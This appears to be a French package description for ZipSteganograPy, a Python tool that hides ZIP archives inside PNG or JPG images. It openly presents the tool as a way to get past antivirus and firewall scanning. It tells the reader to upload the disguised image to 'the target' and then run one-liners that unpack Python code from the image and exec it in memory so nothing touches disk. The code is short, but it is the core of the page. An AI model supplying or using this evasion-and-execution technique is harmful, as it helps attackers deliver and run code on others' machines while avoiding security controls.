ZipSteganograPy
1.0.0
Cet outil masque une archive zip dans une image.
Cet outil est utile pour contourner l'antivirus et la numérisation du pare-feu.
Ce package nécessite:
pip install ZipSteganograPy # Hide a ZIP archive in an image:
python3 ZipSteganograPy.py -z archive.zip -o stegano -i image.png
python3 ZipSteganograPy.pyz -z archive.zip -o stegano -i image.jpg
# Create a ZIP archive (with 3 text files) and hide it in an image:
python3 -m ZipSteganograPy -f file1.txt file2.txt file3.txt -i image.jpg
ZipSteganograPy -f file1.txt file2.txt file3.txt -i image.png
# Easily extract the hidden archive using python3 and its standard library:
python3 -m zipfile -l stegano.png # list files
python3 -m zipfile -e stegano.jpg output/ # extract
# Easily extract the hidden archive using unzip package:
unzip stegano.jpg -l # list files
unzip stegano.jpg -d output/ # extractCet exemple de chargement un code Python à partir d'une image et l'exécute sans l'écrire sur le disque.
Cette méthode contourne:
from zipfile import ZipFile
with ZipFile ( "stegano.png" , "r" ) as f :
for filename in f . namelist ():
exec ( f . read ( filename ). decode ())Sur votre ordinateur:
ZipSteganograPy -f hello.py -i ZipSteganograPy_small.png
# ZipSteganograPy Copyright (C) 2022 Maurice Lambert
# This program comes with ABSOLUTELY NO WARRANTY.
# This is free software, and you are welcome to redistribute it
# under certain conditions.
# New image 'stegano.png' created from 'ZipSteganograPy_small.png' with hidden ZIP archive. Téléchargez le fichier stegano.png sur la cible (le fichier zip ne sera probablement pas Anlyze par des pare-feu car le fichier sera détecté comme une image correcte).
Sur la cible (dézip à partir de l'image et exécutez votre code python sans l'écrire sur le disque):
from zipfile import ZipFile
with ZipFile ( "stegano.png" , "r" ) as f :
for filename in f . namelist ():
exec ( f . read ( filename ). decode ()) import zipfile ; f = zipfile . ZipFile ( "stegano.png" , "r" );[ exec ( f . read ( filename ). decode ()) for filename in f . namelist ()]python3 -c ' import zipfile;f=zipfile.ZipFile("stegano.png", "r");[exec(f.read(filename).decode()) for filename in f.namelist()] ' Licencié sous le GPL, version 3.